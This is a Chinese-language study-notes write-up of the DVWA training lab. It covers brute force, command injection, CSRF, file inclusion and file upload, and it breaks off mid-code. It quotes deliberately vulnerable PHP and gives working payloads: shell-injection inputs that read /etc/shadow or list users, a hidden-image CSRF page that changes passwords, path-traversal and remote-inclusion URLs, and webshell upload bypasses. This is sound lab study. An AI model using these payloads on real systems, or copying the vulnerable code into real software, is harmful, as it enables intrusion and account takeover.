DVWA笔记

DVWA笔记

一:搭建平台

中文图


二: Brute Force

Low:

<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
// Get username 
$user = $_GET[ 'username' ]; 

// Get password 
$pass = $_GET[ 'password' ]; 
$pass = md5( $pass ); 

// Check the database 
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

if( $result && mysql_num_rows( $result ) == 1 ) { 
// Get users details 
$avatar = mysql_result( $result, 0, "avatar" ); 

// Login successful 
echo "<p>Welcome to the password protected area {$user}</p>"; 
echo "<img src=\"{$avatar}\" />"; 
} 
else { 
// Login failed 
echo "<pre><br />Username and/or password incorrect.</pre>"; 
} 
mysql_close(); 
} 
?>

参数username、password没有做任何过滤,存在明显的sql注入漏洞。
在Login中输入用户名与密码
用burpsuite进行拦截

将表单进行提交到intruder模块,在password参数的内容两边加$,并将password设置为破解的payload


尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)“与众不同”,可推测password为正确密码,手工验证登陆成功。

Medium:

<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
// Sanitise username input 
$user = $_GET[ 'username' ]; 
$user = mysql_real_escape_string( $user ); 

// Sanitise password input 
$pass = $_GET[ 'password' ]; 
$pass = mysql_real_escape_string( $pass ); 
$pass = md5( $pass ); 

// Check the database 
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

if( $result && mysql_num_rows( $result ) == 1 ) { 
// Get users details 
$avatar = mysql_result( $result, 0, "avatar" ); 

// Login successful 
echo "<p>Welcome to the password protected area {$user}</p>"; 
echo "<img src=\"{$avatar}\" />"; 
} 
else { 
// Login failed 
sleep( 2 ); 
echo "<pre><br />Username and/or password incorrect.</pre>"; 
} 

mysql_close(); 
} 

?>

相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击(MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,源代码中只是添加了sleep函数,依然没有加入有效的防暴机制。

查看源码发现

sleep( 2 );

1

测试不成功时会延时2s,方法和low一样,只是慢一些,需要更新cookie中的安全等级security。

headers = {
    'Cookie': 'PHPSESSID=h6r8555q2obvo388r4u50lg397; security=medium'
}

High:

<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

// Sanitise username input 
$user = $_GET[ 'username' ]; 
$user = stripslashes( $user ); 
$user = mysql_real_escape_string( $user ); 

// Sanitise password input 
$pass = $_GET[ 'password' ]; 
$pass = stripslashes( $pass ); 
$pass = mysql_real_escape_string( $pass ); 
$pass = md5( $pass ); 

// Check database 
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

if( $result && mysql_num_rows( $result ) == 1 ) { 
// Get users details 
$avatar = mysql_result( $result, 0, "avatar" ); 

// Login successful 
echo "<p>Welcome to the password protected area {$user}</p>"; 
echo "<img src=\"{$avatar}\" />"; 
} 
else { 
// Login failed 
sleep( rand( 0, 3 ) ); 
echo "<pre><br />Username and/or password incorrect.</pre>"; 
} 

mysql_close(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

通过checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );加入token和generateSessionToken();加入Anti-CSRFtoken预防无脑爆破,所以我们不可以再使用burpsuite工具进行无脑爆破了。而且 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。
还是可以去进行暴力破解,这个就需要python脚本来完成了。通过浏览器访问,打开F12进行查看,我们会发现每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。同时,我们可以看到user_token在源代码中可以获取到的。所以我们需要写一个爬虫来获取页面中的user_token的值。

Impossible:

<?php 

if( isset( $_POST[ 'Login' ] ) ) { 
// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

// Sanitise username input 
$user = $_POST[ 'username' ]; 
$user = stripslashes( $user ); 
$user = mysql_real_escape_string( $user ); 

// Sanitise password input 
$pass = $_POST[ 'password' ]; 
$pass = stripslashes( $pass ); 
$pass = mysql_real_escape_string( $pass ); 
$pass = md5( $pass ); 

// Default values 
$total_failed_login = 3; 
$lockout_time   = 15; 
$account_locked = false; 

// Check the database (Check user information) 
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); 
$data->bindParam( ':user', $user, PDO::PARAM_STR ); 
$data->execute(); 
$row = $data->fetch(); 

// Check to see if the user has been locked out. 
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  { 
// User locked out.  Note, using this method would allow for user enumeration! 
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; 

// Calculate when the user would be allowed to login again 
$last_login = $row[ 'last_login' ]; 
$last_login = strtotime( $last_login ); 
$timeout= strtotime( "{$last_login} +{$lockout_time} minutes" ); 
$timenow= strtotime( "now" ); 

// Check to see if enough time has passed, if it hasn't locked the account 
if( $timenow > $timeout ) 
$account_locked = true; 
} 

// Check the database (if username matches the password) 
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
$data->bindParam( ':user', $user, PDO::PARAM_STR); 
$data->bindParam( ':password', $pass, PDO::PARAM_STR ); 
$data->execute(); 
$row = $data->fetch(); 

// If its a valid login... 
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { 
// Get users details 
$avatar   = $row[ 'avatar' ]; 
$failed_login = $row[ 'failed_login' ]; 
$last_login   = $row[ 'last_login' ]; 

// Login successful 
echo "<p>Welcome to the password protected area <em>{$user}</em></p>"; 
echo "<img src=\"{$avatar}\" />"; 

// Had the account been locked out since last login? 
if( $failed_login >= $total_failed_login ) { 
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; 
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; 
} 

// Reset bad login count 
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); 
$data->bindParam( ':user', $user, PDO::PARAM_STR ); 
$data->execute(); 
} 
else { 
// Login failed 
sleep( rand( 2, 4 ) ); 

// Give the user some feedback 
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; 

// Update bad login count 
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR ); 
$data->execute(); 
} 

// Set the last login time 
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); 
$data->bindParam( ':user', $user, PDO::PARAM_STR ); 
$data->execute(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。菜鸡发抖


三:Command Injection

命令注入漏洞是特别危险的,因为它们允许未经授权的执行操作系统命令, 它们的存在,因为应用程序无法正确地验证和消毒,使用时调用shell的功能,如的参数。 攻击者与控制这些参数可以欺骗应用程序执行任何系统命令自己的选择。为了正确测试命令注入漏洞,应遵循以下步骤:

  1. § 第1步: 了解攻击场景
  2. § 第2步: 分析原因及对策
  3. § 第3步: 开始试验和探索
  4. § 第4步: 微调测试案例

    命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。
    PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

<?php   

if( isset( $_POST[ 'Submit' ]  ) ) {   
// Get input   
$target = $_REQUEST[ 'ip' ];   

// Determine OS and execute the ping command.   
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {   
// Windows   
$cmd = shell_exec( 'ping  ' . $target );   
}   
else {   
// *nix   
$cmd = shell_exec( 'ping  -c 4 ' . $target );   
}   

// Feedback for the end user   
echo "<pre>{$cmd}</pre>";   
}   

?>

$target = $_REQUEST[ ‘ip’ ];直接从文本框中输入的内容,没有任何限制,刚刚我们在上面也看到了,在操作系统中使用“&&”连接符(在windows下一个&和两个&都可以,在linux下一定要两个),可以执行多条命令。

如果输入的值不是一个简单的IP,而是127.0.0.1&&net user,那么可以看到返回值里就把系统的用户名拿到了,

还可以注意ping http://www.baidu.com.cn || net user的写法,这句话的意思是如果||的前面命令执行失败则执行||后面的命令。
Linux下输入127.0.0.1&&cat /etc/shadow甚至可以读取shadow文件,可见危害之大。

Medium:

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 

// Get input 

$target = $_REQUEST[ 'ip' ]; 

// Set blacklist 

$substitutions = array( 

'&&' => '', 

';'  => '', 

); 

// Remove any of the charactars in the array (blacklist). 

$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

// Determine OS and execute the ping command. 

if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 

// Windows 

$cmd = shell_exec( 'ping  ' . $target ); 

} 

else { 

// *nix 

$cmd = shell_exec( 'ping  -c 4 ' . $target ); 

} 

// Feedback for the end user 

echo "<pre>{$cmd}</pre>"; 

} 

?>

// Set blacklist

$substitutions = array( 

    '&&' => '', 

    ';'  => '', 

); 

// Remove any of the charactars in the array (blacklist). 

$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。
漏洞利用

127.0.0.1&net user

这里需要注意的是”&&”与” &”的区别:

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&&Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

2、由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:

127.0.0.1&;&ipconfig

127.0.0.1&;&ipconfig 绕过

这是因为”127.0.0.1&;&ipconfig”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& ipconfig” ,会成功执行。

High:

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 

// Get input 

$target = trim($_REQUEST[ 'ip' ]); 

// Set blacklist 

$substitutions = array( 

'&'  => '', 

';'  => '', 

'|  ' => '', 

'-'  => '', 

'$'  => '', 

'('  => '', 

')'  => '', 

'`'  => '', 

'||' => '', 

); 

// Remove any of the charactars in the array (blacklist). 

$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

// Determine OS and execute the ping command. 

if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 

// Windows 

$cmd = shell_exec( 'ping  ' . $target ); 

} 

else { 

// *nix 

$cmd = shell_exec( 'ping  -c 4 ' . $target ); 

} 

// Feedback for the end user 

echo "<pre>{$cmd}</pre>"; 

} 

?>

黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。

127.0.0.1|net user

127.0.0.1|net user 利用

Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

Impossible:

不存在命令注入漏洞

使用Metasploit对DVWA进行命令注入攻击

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 

// Check Anti-CSRF token 

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

// Get input 

$target = $_REQUEST[ 'ip' ]; 

$target = stripslashes( $target ); 

// Split the IP into 4 octects 

$octet = explode( ".", $target ); 

// Check IF each octet is an integer 

if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { 

// If all 4 octets are int's put the IP back together. 

$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; 

// Determine OS and execute the ping command. 

if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 

// Windows 

$cmd = shell_exec( 'ping  ' . $target ); 

} 

else { 

// *nix 

$cmd = shell_exec( 'ping  -c 4 ' . $target ); 

} 

// Feedback for the end user 

echo "<pre>{$cmd}</pre>"; 

} 

else { 

// Ops. Let the user name theres a mistake 

echo '<pre>ERROR: You have entered an invalid IP.</pre>'; 

} 

} 

// Generate Anti-CSRF token 

generateSessionToken(); 

?> 

四:CSRF

Cross-Site Request Forgery,跨站请求伪造,也称为One Click Attack,或者Session Riding。

是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。

XSS与之相反,XSS利用站点内的信任用户进行攻击。

举个例子

下面这幅图片应该比较形象了,用户浏览器在不知情的情况下访问了A网站。并且A网站是可以正常访问的,因为Cookie并没有失效。

再举个实际中可能发生的例子

一个网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后者刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片tag。如果Bob的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经Bob同意的情况下便授权了这次事务。

这个例子是上面的英文版描述。改变配置、强制提交信息、取消会员等危害。

CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack)

CSRF攻击依赖下面的假定:
1 攻击者了解受害者所在的站点
2 攻击者的目标站点具有持久化授权cookie或者受害者具有当前会话cookie
3 目标站点没有对用户在网站行为的第二授权

low:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
// Get input 
$pass_new  = $_GET[ 'password_new' ]; 
$pass_conf = $_GET[ 'password_conf' ]; 

// Do the passwords match? 
if( $pass_new == $pass_conf ) { 
// They do! 
$pass_new = mysql_real_escape_string( $pass_new ); 
$pass_new = md5( $pass_new ); 

// Update the database 
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

// Feedback for the user 
echo "<pre>Password Changed.</pre>"; 
} 
else { 
// Issue with passwords matching 
echo "<pre>Passwords did not match.</pre>"; 
} 

mysql_close(); 
} 

?>

代码中在获取了$pass_new和$pass_conf这两个变量之后,利用mysql_real_escape_string()函数进行了过滤,这样虽然可以防止SQL注入,但却无法阻止CSRF攻击,之后这两个变量便被直接代入UPDATE语句中执行了数据库更新操作。

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制

CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

漏洞利用

1.
http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
当受害者点击了这个链接,他的密码就会被改成password

2.构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>

<h2>file not found.<h2>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack

Medium:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
// Checks to see where the request came from 
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 
// Get input 
$pass_new  = $_GET[ 'password_new' ]; 
$pass_conf = $_GET[ 'password_conf' ]; 

// Do the passwords match? 
if( $pass_new == $pass_conf ) { 
// They do! 
$pass_new = mysql_real_escape_string( $pass_new ); 
$pass_new = md5( $pass_new ); 

// Update the database 
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

// Feedback for the user 
echo "<pre>Password Changed.</pre>"; 
} 
else { 
// Issue with passwords matching 
echo "<pre>Passwords did not match.</pre>"; 
} 
} 
else { 
// Didn't come from a trusted source 
echo "<pre>That request didn't look correct.</pre>"; 
} 

mysql_close(); 
} 

?> 

可以看到这里在获取$pass_new和$pass_conf这两个变量之前,先利用一个if语句来判断“$_SERVER[‘HTTP_REFERER’]”的值是否是127.0.0.1。这是一种基本的防御CSRF攻击的方法:验证HTTP Referer字段。我们可以再次使用之前的方法来实施CSRF攻击,可以发现已经不起作用了。下面就来解释一下这种防御方法的原理。

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。比如下面这个利用Burpsuite拦截到的数据包,数据要提交到的页面是upfile_Other.asp,而我们是通过Referer字段后的http://192168.80.131/upload_Other.asp这个页面发起的请求。

根据Referer验证请求来源,绕过思路:在HTTP请求头声明Referer。

High:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

// Get input 
$pass_new  = $_GET[ 'password_new' ]; 
$pass_conf = $_GET[ 'password_conf' ]; 

// Do the passwords match? 
if( $pass_new == $pass_conf ) { 
// They do! 
$pass_new = mysql_real_escape_string( $pass_new ); 
$pass_new = md5( $pass_new ); 

// Update the database 
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

// Feedback for the user 
echo "<pre>Password Changed.</pre>"; 
} 
else { 
// Issue with passwords matching 
echo "<pre>Passwords did not match.</pre>"; 
} 

mysql_close(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

这里需要管理员首先输入当前密码,然后才能重新设置密码。这就是目前非常有效的一种防御CSRF攻击的方法:二次确认。
不会

impossible:

Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。


五:文件包含漏洞

文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
常见包含函数有:include()、require()
区别:

include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件
include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

low:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

URL可发现,注入点在page,low等级直接注入
http://192.168.67.22/dvwa/vulnerabilities/fi/?page=/etc/profile
报错,显示没有这个文件,说明不是服务器系统不是Linux,但同时暴露了服务器文件的绝对路径

payload:
http://localhost:9096/DVWA-1.9/vulnerabilities/fi/?page=D:\phpStudy\WWW\DVWA-1.9\php.ini
成功进入服务器的php.ini文件

构造url(相对路径)

http://localhost:9096/DVWA-1.9/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\phpStudy\WWW\DVWA-1.9\php.ini

2.远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在远程服务器192.168.5.12上传一个phpinfo.txt文件.
构造url

http://localhost:9096/DVWA-1.9/vulnerabilities/fi/?page=http://192.168.5.12/phpinfo.txt

Medium:

<php

//Thepagewewishtodisplay
$file=$_GET[‘page’];

//Inputvalidation
$file=str_replace(array(“http://","https://"),"",$file);
$file=str_replace(array(“../“,”..\””),””,$file);

>

Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符。

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

paylaod:
http://localhost:9096/DVWA-1.9/vulnerabilities/fi/?page=D:\phpStudy\WWW\DVWA-1.9\php.ini

远程文件包含:
http://localhost:9096/DVWA-1.9/vulnerabilities/fi/?page=htthttp://p://192.168.5.12/phpinfo.txt

High:

<php

//Thepagewewishtodisplay
$file=$_GET['page'];

//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
   //Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

>

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

思路:利用file协议绕过防护策略。
payload:
http://localhost:9096/DVWA-1.9/vulnerabilities/fi/?page=file:///D:\phpStudy\WWW\DVWA-1.9\php.ini

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

Impossible:

<php
//Thepagewewishtodisplay
$file=$_GET['page'];

//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

>

Impossible级别的代码使用了白名单机制进行防护,白名单算是目前最有效的防过滤手段。

柠檬师傅的总结:
文件包含漏洞小结

五:File Upload

文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

Low:

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
// Where are we going to be writing to? 
$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

// Can we move the file to the upload folder? 
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
// No 
echo '<pre>Your image was not uploaded.</pre>'; 
} 
else { 
// Yes! 
echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
} 
} 

?> 


连接菜刀getshell~

Medium:

<?php

if( isset( $_POST[ 'Upload' ] ) ) { 
// Where are we going to be writing to? 
$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

// File information 
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

// Is it an image? 
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
( $uploaded_size < 100000 ) ) { 

// Can we move the file to the upload folder? 
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
// No 
echo '<pre>Your image was not uploaded.</pre>'; 
} 
else { 
// Yes! 
echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
} 
} 
else { 
// Invalid file 
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
} 
} 

?>

查看源码,可发现代码限制了MIME类型和文件大小
if( ( $uploaded_type == “image/jpeg” || $uploaded_type == “image/png” ) && ( $uploaded_size < 100000 ) )
绕过思路,改一下MIME类型即可。

上传cmd.jpg文件,抓包。

尝试修改filename为hack.php。

上菜刀得到shell~

截断绕过规则

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png。

可以看到,包中的文件类型为image/png,可以通过文件类型检查。

High:



    <?php 

    if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
    ( $uploaded_size < 100000 ) && 
    getimagesize( $uploaded_tmp ) ) { 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
    // No 
    echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
    // Yes! 
    echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
    } 
    else { 
    // Invalid file 
    echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
    } 

    ?>

可发现代码限制了后缀名,文件大小和用getimagesize检查文件头并判断文件大小

> // Is it an image? 
> if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) )

strrpos(string,find,start)

函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)

函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

绕过思路:shell的后缀名改为jpg/jpeg/png,文件头插入jpg/png/gif的头部信息绕过getimagesize,
首先利用copy将一句话木马文件cmd.php与图片文件1.jpg合并Piccmd.jpg

上菜刀得到shell

Impossible:

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 



// File information 
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

// Where are we going to be writing to? 
$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; 
//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 
$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); 
$temp_file.= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 

// Is it an image? 
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && 
( $uploaded_size < 100000 ) && 
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 
getimagesize( $uploaded_tmp ) ) { 

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 
if( $uploaded_type == 'image/jpeg' ) { 
$img = imagecreatefromjpeg( $uploaded_tmp ); 
imagejpeg( $img, $temp_file, 100); 
} 
else { 
$img = imagecreatefrompng( $uploaded_tmp ); 
imagepng( $img, $temp_file, 9); 
} 
imagedestroy( $img ); 

// Can we move the file to the web root from the temp folder? 
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 
// Yes! 
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; 
} 
else { 
// No 
echo '<pre>Your image was not uploaded.</pre>'; 
} 

// Delete any temp files 
if( file_exists( $temp_file ) ) 
unlink( $temp_file ); 
} 
else { 
// Invalid file 
